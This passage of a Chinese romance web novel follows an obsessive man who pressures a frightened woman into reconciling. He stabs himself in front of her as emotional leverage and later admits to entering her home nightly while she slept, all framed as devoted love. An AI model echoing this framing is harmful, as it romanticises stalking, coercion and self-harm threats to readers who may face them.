“孟尘萦,你对谁都那么心软那么善良,你也对我心软一次好不好?” “就一次。” 他眼里泛着细细的红血丝,漠然地笑了一笑:“逃不出去的从来都不是你。” “是我。” 空气逐渐稀薄,血腥味在二人之间萦绕不开。 积压在心底深处许久的疯狂似在不声不响中溜了出来,他指腹摩挲着她颈后冰冷的的肌肤,贪恋的,近乎扭曲的,从喉咙里挤出嘶哑的声线:“一直以来,是我被困在你的手掌心下。” “孟尘萦,你真的感受不到么?” 她真的半点感受不到,他完全不能没有她? 孟尘萦哭着摇头,头昏脑涨乱得一团糟,她凭着本能把他再度往外推:“我不知道,我也从来没有想过要困着你,你是自由的,你不属于我。” 梁嘉序忽地扣住她手腕,放在自己的胸腔处,他发了狠劲儿往里按:“你感受一下,感受一下。” 孟尘萦手不断往回抽,“我不……” 他倾身过来,脸贴着她:“你怕什么?” “我让你感受一下这里的心跳。” “只为你孟尘萦而动的心跳,你感受一下。” 最后的声音像气音缠在她耳畔,她心慌慌难以平息:“不……” 她不敢。 他看穿她的恐惧:“为什么不敢?” “你在怕什么?你害怕自己内心其实对我并没有那么抗拒?” “不是……”她泪眼婆娑,哭得像受了巨大委屈的孩子:“梁嘉序,你真的太吓人了,你让我觉得好恐惧好可怕,这样的你,我怎么敢接近。” 梁嘉序凝着她失控的情绪。 他沉默会,静下心来安抚她:“现在只有我们俩,你把你的心里话,都告诉我好不好?” 不好。 不好。 孟尘萦在心里疯狂摇头。 她不敢再跟任何人说心里话。 从很小的时候,她就说过她想跟爸爸妈妈在一起,她想得到父母的疼爱,可她说出的那些挽留的话,也并没有换来她父母的心软。 他们都以为她年纪小,什么都不记得。 但她记得可清楚了。 父母离婚那天,与那段糟糕的婚姻一起摆脱的,其实还有她。 她听到她爸妈吵架时说,萦萦是个拖累,他们都不想要她。 要是没有萦萦,离婚就没这么麻烦了。 这是她父母亲口说出来的话。 后来。 她母亲再婚拥有了最疼爱她的丈夫和活泼可爱的女儿,那样美好的家庭却因为她的存在,时刻让她母亲想起上一段婚姻的败笔。 而她的父亲当时也觉得,那时的她,是他事业上的拖累。 他们内心深处的真心话是,都不想选择她。 时过境迁,多年后,她父亲事业有成后竟开始做起了慈父,忘记当初选择抛弃她的事。 可她都记着的。 她忘不了那些事。 她妈妈曾说,每次看到她眼底的冷漠,就会很害怕跟她说话。 可是她以前不是用那种眼神看她妈妈的啊。 她难过孤独的时候,她妈妈也根本没有像宝贝蓝芷那样,宝贝过她。 她小时候有好多心里话想说,可是身边没人愿意听啊。 也没人把她的话放在心里过啊。 她能跟谁说? 后来她发现只有藏起来,什么都不说,就不会再受伤了。 孟尘萦吸了吸鼻子,小声哀求:“梁嘉序,你别逼我好不好?” “你想听我说什么?” “说我讨厌你?说我害怕你的强迫,说我一直在恨你对我精神上和肉.体上的压制?” “这就是我的心里话。” “我说了,你会开心吗?” 梁嘉序说:“我听到了,然后呢?” 孟尘萦哭着噎了下,不理解问:“然后什么?” 梁嘉序:“拨开那层厌恶和恐惧,你对我的想法。” 孟尘萦茫然着,大脑在停止思考。 梁嘉序直视她含泪的眼,眼神像是剥开了眼里那层雾气,强迫地闯入她内心最深处。 他问:“孟尘萦,这一年半,你有没有想过我?” “不是做噩梦的想,是你在完全没有防备的情况下,在脑海里出现过我的身影。” 孟尘萦神色微怔,本还茫然的脸庞有瞬间的变化。 写满了答案。 她记得,她无数次在看到个子高挑,穿黑衣的男人时,想起了梁嘉序。 可那又怎样。 那只能证明,她被他压迫到产生了心里阴影。 她不语,只在流泪,不肯给他答案。 梁嘉序笃定道:“你想我了。” 孟尘萦无法否认:“但那也并不是喜欢。” 她认真说:“梁嘉序,你对我这种偏执的想法,也不是喜欢。” 梁嘉序问:“那你告诉我,哪种是喜欢?” 孟尘萦愣住,跟他眼神交汇,自己眼底都是空白的。 因为她都不知道什么是喜欢。 她以前觉得自己喜欢过周初皓,可是跟他分手后,她对他没有半分的留念,分开后也从没有想过他。 她不喜欢梁嘉序,可他确实在她心里留下了永生无法磨灭的记忆。 分开后,她经常会想起他。 “我不知道……” 她把脸垂下,喃喃:“我只知道你这种喜欢,是不正常的。” 梁嘉序眼神攫住她,声音低沉:“我不正常,你的逃避也不正常。” “我们两个有病的人才更该在一起。” 他俯身靠近,吻住她的唇瓣。 孟尘萦把脸挪开,他又追过来吻。 她被困在他和门扉间,身前的男人将她汹涌的裹挟,她被迫的,不仅要直面他的眼神,还要应对他灼热的吻。 他漆黑的眼底揉着细碎不明的光。 孟尘萦的脸被他手捧住,他轻轻摩挲她唇角的湿,明明脸色苍白如纸,额角在不断渗透密密的汗,他却是像没半点人类该有的正常反应,只是执拗地,把自己的心都掏了出来。 试着慢慢蛊惑她:“孟尘萦,在这世上,没人比我更爱你。” “你爸妈,你朋友,你前男友,你的追求者都算什么?” “他们跟我比起来,什么都不是。” 孟尘萦呼吸不过来,拼命吞咽他渡来的气息。 眼神是迷离的,世界也如同颠倒,她感觉自己好像被梁嘉序圈在一个独有他的世界里头。 只有他们,再无旁人的世界。 梁嘉序用湿缠的目光将她剖开,把他的所有,他的血液,他的呼吸,他的一切生存本能都灌输给她。 “我可以为你去死。” “我只要你一个,只有你一个。” “孟尘萦,你内心最想要的,是毫无保留的偏爱,不是么?” 孟尘萦心脏猛地一抽。 她有片刻的失神,随后又在心里疯狂呐喊,震惊。 她不明白梁嘉序是怎么又一次,挖出她内心最深处的话。 梁嘉序字字清晰说:“那天那份早餐,你要是真想让我难堪,你会选择吃下陈寰柏给你煎的鸡蛋和面包。” 他开始用舌尖描绘她的唇形,吻她的时候唇瓣都荡着笑:“但你没有接受那个姓陈的。” “我也知道你不会。” 孟尘萦被他吻到尾椎一麻,问他:“为什么……” 梁嘉序笑着咽下她唇舌的水:“像你了解我一样,我同样是最了解你的人。” “我的萦萦想要的偏爱,姓陈的给不了你,你怎么会稀罕呢?” “跟我在一起半年的时间,萦萦什么都体验了最好的,得到过我这样的爱,精神上和肉.体上你能体会到被我疼爱的滋味,你又怎么能再接受别的男人。” 他停住吻,手捧在她滚烫的脸颊处:“我说了,没人比我还爱你。” “你能对比得出来,他没我那么爱你。” 孟尘萦耳廓通红,被他吓得脖子往里缩,她无比惧怕他此刻浓烈张扬的情意。 像是巨大热浪滚来,把她全方面淹没,全身上下每一个细胞都被叫嚣起,控制不住的意动。 “求你,不要说这种话,我……” 她觉得好羞耻,不知道怎么应对。 她缩着身子不断往门板上压,又被他扣住后颈送上前,仰脸接住他的呼吸。 他的吻,似乎已经浸透进她的血液里。 “孟尘萦,我爱你。” 多么热烈疯狂的爱意,多么让人难以承受的爱意啊。 孟尘萦仅存的最后一点理智把她拉回来,她呜咽着推开他:“你这不是爱,只是占有和掠夺,这是不健康的感情。” 梁嘉序声音沙哑:“怎么不是,爱什么时候有规定是什么样的?又有谁规定,爱有健康和不健康区分。” “我的爱很健康,当你尝试放下偏见,也会认为它是美好的。” “我爱你,为你死也可以。” 他很小的时候就知道自己对待感情的想法与旁人不同。 他很难主动想要什么,唯一一次动了情是为了孟尘萦,回京市后与她重逢起,他才觉得自己终于找到了埋在内心最深处的情感,他开始为她尝试各种从没经历过的情绪。 那种感觉就像被下了只有孟尘萦才能让他活着的蛊毒,让他觉得,爱她的同时内心也无比充盈,充盈过后又有无限的空虚。 那份空虚,也只有她才能填充。 他多想让她永远融在他的体内,时刻体验跟她相连的感觉。 他母亲说他的想法是扭曲病态的。 他不觉得,他只是太爱她了。 他们根本不知道,他爱她爱到了什么程度。 孟尘萦眼神微微呆滞,呢喃:“梁嘉序,你的想法真的很可怕。” “是吗?”梁嘉序平静且诡异地说:“那也是爱你。” “你感受到了么?” 他捉住她的手按在自己胸膛,心脏的部位。 “这儿在跳动,吻你的时候,跳得很快,疼爱你的时候,它也只为你一个人而跳。” “你不在的时候,它恨不得死掉。” 孟尘萦手指一缩。 “孟尘萦,你稍微对我心软一点,就一点儿好不好?” 梁嘉序脸色越来越脆弱,幽深的瞳仁却仍泛着光:“你要实在不愿意,现在就用刀子剖开我的胸膛,把为你而跳的心脏彻底攥停。” 孟尘萦惊悚地睁大眼睛。 他搂着他,下颌垫在她肩上,额角的冷汗缓缓滑落。 “杀了我吧,孟尘萦。” “不让我爱你,那不如杀了我。” “不然,你就在这里,真正拥有我。” 60-70 第61章 第 61 章 浓烈的爱意 他又在说疯话。 说些让人觉得可怕的疯话, 他强势地把她逼至门板上,逼迫她直面他波涛汹涌,让人难以承受的那份扭曲偏执的爱。 她手指按在他胸膛处, 指尖下的肌肤有在细微的跳动。 那是他心脏在跳动的动静。 她被困在梁嘉序怀里,手心下是他的心跳。 鼻息间是他身上的血腥味。 就连嘴巴里都是他的味道。 梁嘉序声音低喘,额角青筋暴起:“孟尘萦, 你听,你感受。” “这儿为你而跳。” 他又捉着她另一只手, 摸向他已经裂开的伤口:“这儿的血,也只为你而流。” “如果你想, 你完全可以操控梁嘉序。” “我的使用说明早就在你手上, 你想对我做什么都可以。” 孟尘萦崩溃哭着,视线模糊看他:“那你去死吧, 不要再缠着我。” “别让我杀你,我不想背上命案, 你去死, 现在就去死!” 梁嘉序问她:“这就是你想看到的?” 孟尘萦咬着唇:“对。” 她也在赌, 她就不信,真的有人可以把自己的性命不当一回事。 屋内很暗, 月色都照不进来。 这么昏暗的环境, 如此潮湿又逼仄的氛围, 他张烈的情感,他的所有所有,已经把孟尘萦逼到了一个极限。 她脑子缺氧到,有种自己好似处在另一个时空的荒唐感,眼前的人所言所行都如同疯癫,而她, 又何尝不是? 他们都被彼此逼疯。 梁嘉序冷静地看她,很快,他从裤兜里掏出一把锋利的匕首,抽开刀鞘,泛着凛冽冷光的刀身闪了一瞬。 就在孟尘萦目光被闪的一刹那。 梁嘉序当着她的面,用尖锐的刀尖,往自己胸前一捅。 孟尘萦眼睁睁看着那尖锐的部分,是怎么进入梁嘉序身体里的。 她动作比情绪来的快,及时抓住他冰冷的手腕。 即使如此,刀尖仍旧进去了些许。 鲜血从胸膛前溢了出来。 孟尘萦惊地倒吸一口凉气。 她现在无法用言语形容此刻的心情,她的大脑也因为受了这个场面的刺激,有片刻是空白的。 梁嘉序的确不是个正常人。 他不怕死的。 刚才那一下,他是冲着这条命去。 “你真的想死是不是?” 孟尘萦手都在发抖,难以置信地喊。 梁嘉序面色不改:“是你让我死的。” “孟尘萦,”他那双晦暗的眸盯着她,压迫感十足:“打从我为了你回国起,我对你的感情,对你的所有付出全部都是为了你这个人,我说了,为你做什么都可以。” “我没有道德,破坏你和周初皓的感情,你对我的初次印象就不好,后来我一次次强迫你,你因此恐惧我厌恶我,不喜欢我,都可以,我不勉强你喜欢我。” 他单膝屈地,胸口那还在不断往外流血,微微躬腰,强忍住肉.体和心里的痛。 声线嘶哑低沉,已经是在濒临死亡的边缘:“我只是想求你,对我心软一点点,就一点儿,行么?” “把你对周初皓的心软心疼,把你对其他人的心软和心善,就分给我一点,一点点。” “我要的,不多。” 他伸手,捧住她的脸庞,揉着碎光的眸闯入她眼里:“我只要你一点点的心软……” “在游乐园前一晚,我说想跟你重新开始,都是我的真心话。” “我确信,离不开你的人,从来都是我。” 孟尘萦泪流不止,她的泪全部堆在他的手掌心里,堆成一滩小水池。 “我们相识不是在最好的时机,致使我只能用错误的方式得到你,伤害你,让你恐惧,让你无数次流泪。” “那是一个错误的开始。” “这次,我只想得到你一点点的心软,让我们走向对的方向。” 梁嘉序声线在一点点变弱。 那股血腥味也越来越浓。 他身上,新伤加旧伤,都在不断地流血。 洇得黑色衬衫也粘稠贴着肌肤。 他却像浑然感觉不到疼,唯独脸上逐渐惨白到要断气似的脸色,暴露了他此刻的现状。 孟尘萦指腹都是粘稠的,湿漉漉的,全是他身上的血。 她好像被淹没在他的深海里。 被他死死地绑了起来,根本挣脱不开。 梁嘉序的爱太可怕的,她应对不来,也不知道怎么承受。 她是个很平淡的性子,平时其实对任何人,对任何事,情绪都淡淡的,现在要她面对这样汹涌又浓烈灼热的爱,她实在是害怕。 她该怎么办才好。 她的确不知道怎么办了。 眼前这个男人他不怕死啊。 他是个疯子,可她此刻也能清晰地感受到他浓烈的爱意,这份爱,从没有任何人给过她。 只有梁嘉序给了她。 她才明白,原来有人的爱,能让人疯到这个地步。她同时也被卷进他掀起的浪潮里。 她落的泪,被他一点点吻了干净,唇瓣从她的脸颊,再到唇角,再一直吻到她的耳垂。 离得这么近,她能感觉到他呼吸都有点稀薄。 他喘出来的气息,不是以往那样富有生命力,而是薄弱的,最接近死亡的,也是让人禁不住心疼的。 梁嘉序掀起眼帘,压住从额角滴到眼尾的汗,望着她。 “孟尘萦……” 他剩下的话,被她嘶哑的声线打断。 “六个月。” 梁嘉序神色微怔。 孟尘萦睁着湿润的眸看他:“我们之前交往了半年,这次,我也想自己半年的时间,试着……跟你好好相处。” 他眼里的黑泛着水光,她又轻声且决绝地说:“如果在这半年里,我还是爱不上你。” “梁嘉序,你要给我自由。” “然后,永远都不可以再来找我。”- 等再来到医院,给梁嘉序做手术的那位医生,脸色已经极其难看了。 他身上旧伤口有撕裂就算了,竟还多了一道伤口。 伤得虽然不算深,但也流了许久的血,新伤加旧伤,半条命都将要被作没了。 医生把伤口缝好针,再严厉叮嘱了一番,见这位病人看着就不是个听话的,医生便看向孟尘萦,说要她顾着男朋友的性命。 孟尘萦应了声,说会的。 等把伤口处理好,都闹到凌晨两点了。 孟尘萦也觉得很疲惫,累到像是刚打了一场仗似的。 躺在病床上的男人似乎不知疲倦,懒洋洋地把她拉进怀里,“睡吧,很晚了。” 孟尘萦顾忌他身上的伤,连忙一缩:“别了,我回去睡吧,这病床很小,我怕我睡觉会压到你。” 梁嘉序沉默片刻:“我让司机送你回去,这么晚了很危险。” 她嗯了声。 又觉得这样直接走人有点不太好,便很贴心叮嘱了几句:“那你好好养伤,晚上睡一个好觉,还有医生和护士的话都要听知道吗?要配合治疗。” 梁嘉序嗤笑,气息洒她脸上:“孟尘萦,把我当小孩呢?” 孟尘萦有点憋屈,心想,还不是这人根本不顾自己死活啊,真要出了什么事,她也逃不了干系。 梁嘉序眉目衔笑:“安心,你回到了我身边,我比谁还要惜命。” 两人刚复合,复合过程不是太美好,他能很快适应,但孟尘萦还有点别扭,她现在心口还慌得很,晚上那一遭,让她感觉经历了一个世纪似的。 “那我走了,明天再来医院陪你。” “嗯。” 梁嘉序让助理进来,吩咐了几句,目送孟尘萦离开。 病房内归入了寂静。 梁嘉序却还睁着眼,他睡不着。 漆黑的眼底,泛着细碎的光芒,比外面的月亮还要亮。 因为晚上经历了太多事,孟尘萦回到家都凌晨三点,收拾了下门后地板的血迹,再去洗了个澡,躺到床上都快四点了。 无比疲惫的进入了梦乡。 等睁眼醒来,已经是第二天十一点半。 她起床洗漱后,本来打算直接去医院的,但又临时想起陈寰柏的约定。 还是改变了计划。 伊斯恩河是维利斯特最清澈漂亮的一条河流,也是这个镇子最引人的景点。 位置离孟尘萦的居所不愿,她步行十分钟就能到。 她在十一点五十八分匆忙赶到的。 到时,陈寰柏已经站在河边。 他穿着一身淡色系的大衣,内搭米色高龄毛衣,寒风轻吹,他发丝飞扬,背影看着倒是像英国王子似的,优雅又绅士。 孟尘萦走上前,在他身后喊了声。 陈寰柏转过来,笑道:“你来的真准时。” 孟尘萦:“是你选的地方离我家很近。” 陈寰柏脑袋往前一点,示意:“沿着走走?” “好。” 两人并肩而行,一路欣赏清澈的河水,偶尔简单聊几句,聊得最多的就是孟尘萦在维利斯特这一年半所发生的事。 “你还记得我们初次见面吗?” 孟尘萦说:“记得,你参加大胃王比赛拿了第一名,这么瘦的人却比布莱斯吃的还要多,我可吃惊了。” 陈寰柏乐不可支:“看不出来我这么会吃吧?” “不过我打算戒掉甜食了。” 孟尘萦怔了会,又说:“挺好的,甜食吃多了对身体不太好。” “不过对爱吃甜食的人来说,戒掉应该很难,但我相信你可以做到。” 她跟陈寰柏相处一年多,多多少少也了解他这人了。 虽然出身京圈大名鼎鼎的陈氏,但他似乎并没有染上其他公子哥那样的脾性,较比奢靡铺张,他更喜欢低调朴实无华的生活。 不然,他怎么会定居在维利斯特。 他们曾经聊天时,陈寰柏也说了,出生好的人所承担的是寻常人想象不到的压力,他只是老二就觉得受够了,便想要抛开那些附加给他的条件,活得自在点儿。 家里有个大哥可以继承家业,至于他这种老二,在电视剧里都是负责花天酒地的。 陈寰柏那时笑着说:“我倒是不喜欢花天酒地,就喜欢吃甜食。” 现在他又说:“我打算戒掉甜食了。” 对一个很喜欢吃甜食的人来说,下定这个决心也是需要勇气的。 “孟尘萦,其实你记错了,大胃王比赛不是我们初次见面。” 孟尘萦疑惑地嗯了声,侧眸望去,对上他温暖的眉眼:“我提醒过你的,在京市我们见过,交换了联系方式后你就把我删除了。” 孟尘萦后知后觉,“我想起来了,对,那次才是初见。” 两人在河边那块岩石旁坐下。 陈寰柏捡起地上一颗石子,轻飘飘往河水里抛,开口问:“你是不是喜欢梁嘉序?” 孟尘萦说现在还不喜欢。 陈寰柏听出来“现在”的意思了,脸侧来看她:“但我大概知道你今天来赴约准备跟我说什么了。” 孟尘萦抿抿唇:“我打算回国了。” 陈寰柏淡笑:“好像不意外,从梁嘉序来了后,我就有种直觉,我亲手挑的甜品师大概要被那个男人拐回去了。” 孟尘萦说:“不是因为他。” 他笑得意味深长,孟尘萦只好又一改口:“好吧,也算是因为他,但不完全是。” 主要是梁嘉序都找到她在哪儿了,她也没必要用假身份躲躲藏藏,她还是想以真实的自己生活。 而且她也很想念自己的祖国。 既然都这样了,这时候也是她回国的最好时机。 陈寰柏直白道:“所以你不打算接受我?” 孟尘萦手里捏着一粒石子摩挲,摇头,说没打算。 她回答的很直接,陈寰柏手里的那颗石子也跟着她那句话,抛进河里。 随着河水的溅起,孟尘萦手机一震。 收到一条信息。 陌生号码:【我在你身后。】 孟尘萦微怔,很快反应过来,这是梁嘉序发来的消息。 又因为他这句话,她后背紧接一凉。 陈寰柏还在欣赏河水景色,孟尘萦悄悄侧过脑袋往后一看,果不其然,梁嘉序站在对面的树下。 他穿着一身黑色大衣,黑皮鞋,手戴着一双黑色皮手套,大衣微敞,内搭竟就一件衬衫,露出冷白的锁骨和修长的脖颈,这幅装扮颇有种矜贵的英伦大佬风。 倒是跟他十分适配,强势霸气,光看外表,谁能想到他身体已经被捅了两个窟窿呢。 此刻,他唇角微勾,笑意颇显恶劣又张狂。 他低头又打了几个字,随后,当着孟尘萦的面,用指骨敲了敲手机屏幕,让她看自己手机。 孟尘萦回头看自己手机屏幕。 梁嘉序:【我等你把那些杂碎都清理干净,再投入我的怀抱。】 话语中的狂妄还是半点都没改。 孟尘萦:“……” 第62章 第 62 章 是爱人。 河水清澈见底, 汩汩而流。 陈寰柏低头又捡了颗石子砸至河里,平静地望着河面泛起的层层涟漪,顿了半晌, 才说:“沈晚心昨晚跟我提出辞职了,她打算回国。” 孟尘萦面露诧异:“她也跟我说了要回国的事,但我没想到这么快。” “快吗?”陈寰柏扭过头看她:“我怎么早就有种预感, 你们俩很快就要离开。” 孟尘萦问他接下来怎么打算的。 陈寰柏说要把店关了,打算去别的地方转转, 看看还有没有他想要生活下去的城市,“在维利斯特住了两年也倦了, 我发现, 平淡的生活好是好,但时间久了人也会被磨得一点性子都没有, 上次我回国,我发小都说我像是要出家了似的, 整个人特别无趣。” 孟尘萦笑了笑:“平淡点也没什么不好。” 陈寰柏语气轻飘飘砸落:“也不完全见得。” 他的性情就是这两年在维利斯特平淡的日子影响下, 发生的变化。 他好像不知觉间, 就被同化了,无论干什么都提不大起劲儿, 只想着平平淡淡过着每一天, 连难得有个喜欢的女孩, 他就连主动出击的勇气都被磨没了。 如果他早点表白,在梁嘉序来之前表白,结果是不是会不一样? 陈寰柏是这样想。 但很多事,并不是懊悔便能扭转局面。 他把手里最后一颗石头砸出去,连着跳了好几个水花。 再站起身,拍了拍手里的灰尘。 孟尘萦见状也站了起来。 陈寰柏拍干净手里的脏东西, 主动朝孟尘萦伸手:“这一年半在这个小镇子里认识你和晚心很高兴。” 孟尘萦浅笑说我也是的,“多亏有你关照,让我可以做到自己喜欢的工作。” 陈寰柏主动收回手:“希望哪天我回京市了,再跟你见面你别装不认识我。那时候,我可以叫你夏夏吗?” 孟尘萦神色一恍,凝着他含笑的眸子,看清他眼里写满了告别的话。 随后点了点头:“可以。” 她站在原地目送陈寰柏转身,看到他沿着伊斯恩河畔一路漫步,背影挺拔俊逸,行动时带起一阵温暖的风。 孟尘萦蓦然间,又想起在维利斯特跟他初次见面的场景。 她想起在大胃王比赛,力压很多大块头老外,拿了一名的陈寰柏。 其实她真的算很幸运了,无论到哪个地方生存,总是能遇到一些温暖善良的朋友。 她笑了笑,再收起笑容,转身。 梁嘉序还站在树下,遥遥望着她。 远远便能看见,他那张白到脆弱的脸色。 再不过去,孟尘萦觉得自己要成为间接杀人犯了。 等前方那辆车子开离,孟尘萦小步跑过去。 她还没开口说话,人就贴了过来,梁嘉序搂住她腰,孟尘萦下意识扶住他,又害怕按到他的伤口,手掌心退了半寸,又被他强势地捉了回来,牢牢勾上他。 他垂眸睨她,唇边泛开笑:“怎么着,还怕我呢?” 孟尘萦有点无奈,不满地说:“我是担心按到你的伤口了,你真的不知道疼么?” “疼啊。”梁嘉序微躬着身躯抱她,颇黏糊地把下巴搭她颈窝那,语气低沉:“我也是人,怎么不知道疼,可我疼了,你也不心疼啊,说出来不是白招你嫌么?” 孟尘萦忽然不知道怎么接话。 好在他没再追着这点不放,真要求的她口头上的心疼。 默了一息,她主动轻轻抚摸他后背:“回医院吧,你的伤还严重着。” 两人赶到医院,孟尘萦喊来护士给他看伤口,确定没有撕裂才放心了。 – 梁嘉序的身上两处刀伤委实严重,约莫住了大概半个月的院,才稍微养好了身体。 这半个月里,沈晚心也安排好了回国事宜,特地来医院跟孟尘萦道别。 “我从陈老板那听说,你也要跟你男朋友回国了,夏夏,你是住在京市吗?很可惜,我家在海城,不过很希望回国后我们还能够有机会见面。” 孟尘萦说好,“有缘会见的。” 沈晚心依依不舍拉着孟尘萦聊了大半天,得知她是隔天的飞机,孟尘萦想去送机,沈晚心看在梁嘉序还在住院的份上,很贴心拒绝了。 沈晚心回国后,又过了一周,梁嘉序的医生总算松了口,说他明天就能出院了。 孟尘萦便特地今天回家一趟,想着马上也要回国,她要准备的工作有许多。 确定梁嘉序打了吊水入睡后,孟尘萦趁机赶回到自己的小房子里,收拾好回国的基本物品,她又特地去跟章之窈家一家人道别。 做了一年多的邻居,算得上是章之窈单方面照顾她。 这下真要分别,想到今后可能再也见不到,到底也有点不舍。 得知孟尘萦很快要回国,晚上章之窈在家里给孟尘萦办了个践行烧烤派对。 爱丽丝和尼克像小狗狗被主人抛弃似的,一脸可怜巴巴:“夏夏姐姐真的要走了吗?” 孟尘萦顿时有点心软,被两个小孩感染到也有种离别的伤感。 章之窈看她一眼,主动给两孩子开解道:“你们夏夏姐姐只是回国,又不是不要你们了。” 爱丽丝瘪着小嘴委屈问:“我最喜欢吃夏夏姐姐做的柠檬挞,是不是以后再也吃不到了?” 孟尘萦柔声哄她:“柠檬挞的做法我交给布莱斯了,你们爸爸做的跟我做的一样好吃噢。” “可我就想吃你做的哇!”尼克崩溃大哭,他一哭,爱丽丝也收不住直接哇地一声哭出来,连带着那只金毛犬在屋内跑来跑去。 章之窈数落一番,哄也哄不好,最后喊来布莱斯把俩孩子带回房间教育。 房门关闭后,总算没那么吵闹了。 孟尘萦忽然说:“我也有点儿舍不得了。” 章之窈:“那别走了?” 孟尘萦眉眼弯弯:“那不可能。” 她笑了笑说:“我来到这里,本来也是因为旁的原因,现在那个原因不成立了,我也没必要再躲躲藏藏。” 章之窈给她倒了一杯酒,“都要走了,咱们喝一杯。” 孟尘萦:“好。” 章之窈倒好酒,开门见山道:“让我猜猜,你来这里是要躲你那个男朋友?” 孟尘萦咽下一口酒水,眼神讶异:“窈姐,你知道?” 章之窈嗯哼一声:“短时间让你想通回国的原因,都是他来了后的改变,很难不联想到一起去。” “夏夏,你知道你身上最让我羡慕的一个特质是什么吗?” “什么?” 章之窈说:“是对感情的过分理智。” 孟尘萦神色稍怔。 章之窈背脊往沙发一靠,手端着酒杯,侧眸看着她笑:“我要是有你这份对感情的理智,当初也不会被渣男欺骗到人财两空的地步。” 孟尘萦淡淡一笑安慰说都过去了。 章之窈道,是啊,都过去了,因为要分别了,她少见的,认真对孟尘萦说:“对感情过于理智的人,是很难能让别人走进你的心里,将来要是被你喜欢上的人,对方一定是很艰难很艰难,才能让你放下心防。” “我只希望能有那么一个人,让你得到偏爱,能让你拥有一份独一无二的爱,那份爱也能让你勇敢走出来,让你也愿意尝试着去爱人。” 章之窈微笑道:“其实主动去爱一个人,也是一件非常幸福又快乐的事哦。” “当然,对方也要很爱你,这样的快乐是双倍。” 孟尘萦不太懂,但她并没反驳章之窈的话。 她看的出来,章之窈跟布莱斯双向的感情能有多幸福。 今晚的谈话,也让她忽然想起周初皓曾经对她说过的话。 他说,他觉得自己好像无论怎么努力,都走不进她心里,那时候她很不明白,甚至觉得有点委屈,她一直认为自己是喜欢周初皓的,为什么他要说这种话。 后来她知道了,她的确没有喜欢过周初皓,不会为他伤心难过,不会为他吃醋和迷茫- 从章之窈家里出来,已经八点了。 孟尘萦打算回屋把剩下的东西整理好,再返回医院。 明天梁嘉序就要出院了,她还是得去一趟。 刚迈进小院,她就看到梁嘉序坐在她家院子的那个石凳前,长腿交叠,懒散的坐姿,大衣衣角垂落在地,黏了几片落叶,他浑然不觉,仍是手托着下巴,静静地沐浴在月色下。 不知道这样等了她多久。 她神思忽地有点恍惚。 住院的这大半个月,他们几乎每天都在一起,但这次重新和好后,再跟梁嘉序的相处,让她并没有之前那样,总是给她带来一种说不出的难受,又喘不过气的感觉了。 但是他明明就没变的啊。 只单单就坐在那儿,矜贵的压迫感便压了来。 可再等他转过身,看她时,那双漆黑凉薄的眉眼,在她不知觉间,就染了一抹柔情。 孟尘萦站在原地没动。 梁嘉序站起身,主动朝她走过来。 离得近了,她目光落在他伤口处,隔着衣服也看不明白,她问:“你怎么提前出院了?身体还撑得住吗?” 梁嘉序哂笑:“这大半个月,你倒是真把我当小孩看管了?” 他微弯腰身,揪了下她鼻尖:“孟尘萦,我不是纸糊的,没事儿,只是提前出院特地来找你。” “喔。”她低头揉了揉被他揪红的鼻尖。 梁嘉序淡声问:“干嘛,地上有金子?” “没啊。” 孟尘萦莫名其妙道。 梁嘉序语气衔着笑意:“没金子怎么舍不得看你男朋友?” 孟尘萦被他说的都心虚了,缓缓扬起脸,果不其然直接撞进他眼里。 下一秒,就被他打横抱了起来,她先是挣扎了两下,又想起他身上的伤没有完全好,便老老实实依偎着。 梁嘉序抱她回屋。 “钥匙。” 孟尘萦内心嘀咕一句,又来命令人了。 不情不愿从口袋里掏出钥匙,“喏。” 梁嘉序失声笑:“我怎么打开?” 人还抱着她呢。 孟尘萦想说那放她落地就好了,但这人,对肢体接触方面有自个儿独有的强势和霸道,她要落地他也不肯松。 她只好调整了个姿势,钥匙怼着钥匙孔。 怼了半晌,还是打不开门,她疑惑地自言自语:“怪了,我家这锁恐怕真得换了,上次也是很难打开。” 梁嘉序:“往左撇点儿,再往里戳。” 按照他说的步骤,还真轻松打开了。 孟尘萦惊讶看他:“你怎么知道我家锁怎么打开?” 梁嘉序抱着人进屋,反脚关上门,直接把人放在沙发上,屋内黑漆漆的,她下来后就想去开灯,忽然又被按住。 梁嘉序身体压了过来,手熟练地勾上她的腰:“在你不肯见我的那段时间,做了一阵子的贼。” 孟尘萦不解,呼吸微喘,但顾忌他的伤口就没挣扎。 “什么贼?” 梁嘉序黑眸微闪,咬一口她唇瓣:“采花贼。” 孟尘萦很快在脑海里搜刮了一阵。 从前她好几次醒来后,都觉得异常的事,还有那次自己喝醉在床上醒来的事。 这些疑惑,让她在梁嘉序的眼里看到了答案。 “你……” 她怔圆眼睛,惊恐地骂:“梁嘉序,你这个变态!” 他压着她亲了好一阵,吻到她气息紊乱,又重重地吮了一口。 “再多骂点儿,能让你痛快,怎么骂都成。” 孟尘萦的脸不知是气红的还是吻红的,松开后,连忙一撇,不给他亲,“你每天晚上都来我家了?” “嗯。” 他又追着亲了一口。 孟尘萦有点生气,躲不开他,索性把脸掰回来,眼里含着质问看他:“你没对我做什么吧?” 也不是没可能,都敢让人弄到她家的锁,每天晚上越进来…… 梁嘉序眉梢微扬:“我说什么都没做,你信么?” 孟尘萦是不信的。 梁嘉序心里顿时一堵,他在孟尘萦心里的形象究竟糟糕到了什么地步,她才会觉得,他能在她睡着后做出那些下作的事? 他心里有点烦躁,有点不爽地开始解释:“什么都没做,信我。” “我只是太想你,想每天看到你而已。” 孟尘萦眸色微凝,直视他那双坦荡的眼神,默了片刻道:“你说没,我就试着信你一回。” 梁嘉序神色微变,有细微的讶异。 “但你以后别干这种事了,我很害怕。” 虽然她知道梁嘉序不会做出那些坏事,可这事儿搁谁身上不会觉得恐惧? 梁嘉序低声:“对不起,再不会了。” 他日思夜想的人,总算又在他的怀里,他不必再在她无知无觉的时候,守着她,望着她。 从今往后他有得是正大光明的机会。 他的唇轻柔落下来,贴住她的唇瓣,又问:“我可以吻你么?” 孟尘萦手背挡住唇,睁着水润微怒的眸子:“你已经在吻了,梁嘉序,你根本没变过。” 他的询问,还一样不是询问。 梁嘉序:“变了还能是我?但你信我,这次不会再给你不好的体验。” 她望着他的眼睛,那双漆黑凉薄的眸此刻装满了她。 他眉眼染了抹柔色,语气很轻:"我们试着重来一次。" 孟尘萦嗯了声。 她给自己半年时间,如果还是觉得不爱梁嘉序,这次说什么,她都会走。 她也绝对不会再给梁嘉序任何机会。 梁嘉序看清她眼神里所表达的意思。 眼里的黑轻描淡写搅了起来,遮住他骨子里强势的掠夺,在她出神时,再度吻上她唇。 含着她的舌尖,一点点弄软她身子。 